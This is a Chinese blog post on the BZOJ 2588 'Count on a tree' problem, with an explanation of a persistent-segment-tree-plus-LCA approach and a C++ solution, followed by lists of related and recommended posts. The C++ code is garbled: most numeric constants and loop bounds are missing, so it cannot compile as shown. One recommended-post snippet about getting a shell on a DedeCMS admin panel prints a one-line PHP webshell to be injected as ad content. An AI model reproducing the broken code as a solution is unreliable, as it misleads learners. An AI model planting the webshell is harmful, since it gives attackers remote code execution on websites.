2588: Spoj 10628. Count on a tree

Time Limit: 12 Sec  Memory Limit: 128 MB
Submit: 9280  Solved: 2421
[Submit][Status][Discuss]

Description

给定一棵N个节点的树,每个点有一个权值,对于M个询问(u,v,k),你需要回答u xor lastans和v这两个节点间第K小的点权。其中lastans是上一个询问的答案,初始为0,即第一个询问的u是明文。
 

Input

第一行两个整数N,M。
第二行有N个整数,其中第i个整数表示点i的权值。
后面N-1行每行两个整数(x,y),表示点x到点y有一条边。
最后M行每行两个整数(u,v,k),表示一组询问。
 

Output

M行,表示每个询问的答案。最后一个询问不输出换行符

Sample Input

8 5
105 2 9 3 8 5 7 7
1 2
1 3
1 4
3 5
3 6
3 7
4 8
2 5 1
0 5 2
10 5 3
11 5 4
110 8 2

Sample Output

2
8
9
105
7

HINT

HINT:
N,M<=100000
暴力自重。。。
 
 
 
题意很好理解,就是树上查找区间第K大,因为不是在线性上的操作,所以建树更新的时候在dfs里更新,查找路径上的第K大,就是区间查找的操作,从x到LCA(x,y),然后再从LCA(x,y)到y就可以了,因为是点权的操作,所以是去掉lca,然后去掉lca的爸爸,这样就对了。我写的时候写了好久,RE了无数次,最后发现:竟然是我以前LCA的板子不对!!!!(暴风哭泣,气死),但是我并不知道为什么我的LCA写的为什么不对。。。
 
代码:
 //BZOJ 2588 可持久化线段树+LCA
#include<iostream>
#include<cstdio>
#include<cstring>
#include<algorithm>
#include<bitset>
#include<cassert>
#include<cctype>
#include<cmath>
#include<cstdlib>
#include<ctime>
#include<deque>
#include<iomanip>
#include<list>
#include<map>
#include<queue>
#include<set>
#include<stack>
#include<vector>
using namespace std;
typedef long long ll; const double PI=acos(-1.0);
const double eps=1e-;
const ll mod=1e9+;
const int inf=0x3f3f3f3f;
const int maxn=1e5+;
const int maxm=+;
#define ios ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
#define lson l,m
#define rson m+1,r int ans,tot,cnt,lca;
int n,d,q;
int a[maxn],b[maxn],h[maxn],L[maxn<<],R[maxn<<];
int to[maxn<<],head[maxn],Next[maxn<<];//存图
int sum[maxn<<],root[maxn],dep[maxn];
int fa[maxn][]; void add(int x,int y)//存图
{
tot++;
Next[tot]=head[x];
head[x]=tot;
to[tot]=y;
} int LCA(int x,int y)
{
if(dep[x]<dep[y]) swap(x,y);
for(int i=;i<=;i++) if(((dep[x]-dep[y])&(<<i))!=) x=fa[x][i];//不知道为什么我注释掉的那种写法为什么不对。。。
//for(int i=0;i<=19;i++) if(dep[x]==dep[y]-(1<<i)) x=fa[x][i];
if(x==y) return x;
for(int i=;i>=;i--){
if(fa[x][i]!=fa[y][i]){
x=fa[x][i];
y=fa[y][i];
}
}
return fa[x][];
} void update(int pre,int &rt,int l,int r,int k)
{
rt=++cnt;sum[rt]=sum[pre]+;
L[rt]=L[pre];R[rt]=R[pre];
if(l==r){
return ;
} int m=(l+r)>>;
if(k<=m) update(L[pre],L[rt],lson,k);
else update(R[pre],R[rt],rson,k);
} int query(int x,int y,int lca,int fa,int l,int r,int k)
{
if(l==r){
return h[l];
} int m=(l+r)>>;
int now=sum[L[x]]+sum[L[y]]-sum[L[lca]]-sum[L[fa]];
if(now>=k) return query(L[x],L[y],L[lca],L[fa],lson,k);
else return query(R[x],R[y],R[lca],R[fa],rson,k-now);
} void dfs(int x,int fath)//按照dfs进行更新
{
dep[x]=dep[fath]+;
int k=lower_bound(b+,b++d,a[x])-b;
h[k]=a[x];
update(root[fath],root[x],,n,k);
for(int i=;i<=;i++){
fa[x][i]=fa[fa[x][i-]][i-];
}
for(int i=head[x];i;i=Next[i]){
if(to[i]!=fath){
fa[to[i]][]=x;
dfs(to[i],x);
}
}
} int main()
{
scanf("%d%d",&n,&q);
for(int i=;i<=n;i++){
scanf("%d",&a[i]);
b[i]=a[i];
}
sort(b+,b++n);
d=unique(b+,b++n)-(b+);//去重建立权值线段树
for(int i=;i<n;i++){
int x,y;
scanf("%d%d",&x,&y);
add(x,y);
add(y,x);
}
dfs(,);
while(q--){
int x,y,k;
scanf("%d%d%d",&x,&y,&k);
x=x^ans;
lca=LCA(x,y);
ans=query(root[x],root[y],root[lca],root[fa[lca][]],,n,k);//按照LCA,从x到lca,然后从lca到y,去掉lca的爸爸。
printf("%d\n",ans);
}
}

BZOJ 2588: Spoj 10628. Count on a tree-可持久化线段树+LCA(点权)(树上的操作) 无语(为什么我的LCA的板子不对)的更多相关文章

  1. BZOJ - 2588 Spoj 10628. Count on a tree (可持久化线段树+LCA/树链剖分)

    题目链接 第一种方法,dfs序上建可持久化线段树,然后询问的时候把两点之间的所有树链扒出来做差. #include<bits/stdc++.h> using namespace std; ...

  2. BZOJ 2588: Spoj 10628. Count on a tree [树上主席树]

    2588: Spoj 10628. Count on a tree Time Limit: 12 Sec  Memory Limit: 128 MBSubmit: 5217  Solved: 1233 ...

  3. BZOJ 2588: Spoj 10628. Count on a tree 树上跑主席树

    2588: Spoj 10628. Count on a tree Time Limit: 1 Sec Memory Limit: 256 MB 题目连接 http://www.lydsy.com/J ...

  4. Bzoj 2588: Spoj 10628. Count on a tree 主席树,离散化,可持久,倍增LCA

    题目:http://www.lydsy.com/JudgeOnline/problem.php?id=2588 2588: Spoj 10628. Count on a tree Time Limit ...

  5. BZOJ 2588: Spoj 10628. Count on a tree( LCA + 主席树 )

    Orz..跑得还挺快的#10 自从会树链剖分后LCA就没写过倍增了... 这道题用可持久化线段树..点x的线段树表示ROOT到x的这条路径上的权值线段树 ----------------------- ...

  6. Bzoj 2588 Spoj 10628. Count on a tree(树链剖分LCA+主席树)

    2588: Spoj 10628. Count on a tree Time Limit: 12 Sec Memory Limit: 128 MB Description 给定一棵N个节点的树,每个点 ...

  7. bzoj 2588 Spoj 10628. Count on a tree (可持久化线段树)

    Spoj 10628. Count on a tree Time Limit: 12 Sec  Memory Limit: 128 MBSubmit: 7669  Solved: 1894[Submi ...

  8. 主席树 || 可持久化线段树 || LCA || BZOJ 2588: Spoj 10628. Count on a tree || Luogu P2633 Count on a tree

    题面: Count on a tree 题解: 主席树维护每个节点到根节点的权值出现次数,大体和主席树典型做法差不多,对于询问(X,Y),答案要计算ans(X)+ans(Y)-ans(LCA(X,Y) ...

  9. ●BZOJ 2588 Spoj 10628. Count on a tree

    题链: http://www.lydsy.com/JudgeOnline/problem.php?id=2588 题解: 主席树,在线,(求LCA)感觉主席树真的好厉害...在原树上建主席树.即对于原 ...

随机推荐

  1. Java设计模式の适配器模式

    定义 适配器模式把一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口不匹配而无法在一起工作的两个类能够在一起工作. 适配器模式的用途 用电器做例子,笔记本电脑的插头一般都是三相的,即除了阳极 ...

  2. JS设计模式之装饰者模式

    装饰者模式概述 在不改变原对象的基础上,通过对其进行包装拓展(添加属性或者方法)使原有对象可以满足用户更复杂的需求 实际需求 在已有的代码基础上,为每个表单中的input默认输入框上边显示一行提示文案 ...

  3. redis cluster以及master-slave在windows下环境搭建

    一.redis cluster环境搭建: 1.了解Redis Cluster原理: 详细了解可参考:http://doc.redisfans.com/topic/cluster-tutorial.ht ...

  4. 【BZOJ】1666 [Usaco2006 Oct]Another Cow Number Game 奶牛的数字游戏

    [算法]贪心&&堆 [题解]反过来看就是合并任意两块木板,花费为木板长度之和. 显然从最小的两块开始合并即可,用堆(优先队列)维护. 经典DP问题石子归并是只能合并相邻两堆石子,所以不 ...

  5. 【转载】Lua中实现类的原理

    原文地址 http://wuzhiwei.net/lua_make_class/ 不错,将metatable讲的很透彻,我终于懂了. --------------------------------- ...

  6. 父元素与子元素之间的margin-top问题(css hack)

    hack: 父元素的盒子包含一个子元素盒子,给子元素盒子一个垂直外边距margin-top,父元素盒子也会往下走margin-top的值,而子元素和父元素的边距则没有发生变化. hytml代码: &l ...

  7. Struts2+Hibernate实现图书管理系统

    效果图 部分代码 Books.java package entity; import java.util.Date; public class Books { //书籍编号 private Strin ...

  8. 另类dedecms后台拿shell

    遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...

  9. AlertDialog.Builder 显示为白色 蓝色字

    AlertDialog.Builder dialog = new AlertDialog.Builder( getActivity(),AlertDialog.THEME_HOLO_LIGHT);

  10. jython

    # -*- coding: utf-8 -*- import sys import json sys.path += ["C:/Users/yangbo/Desktop/restassure ...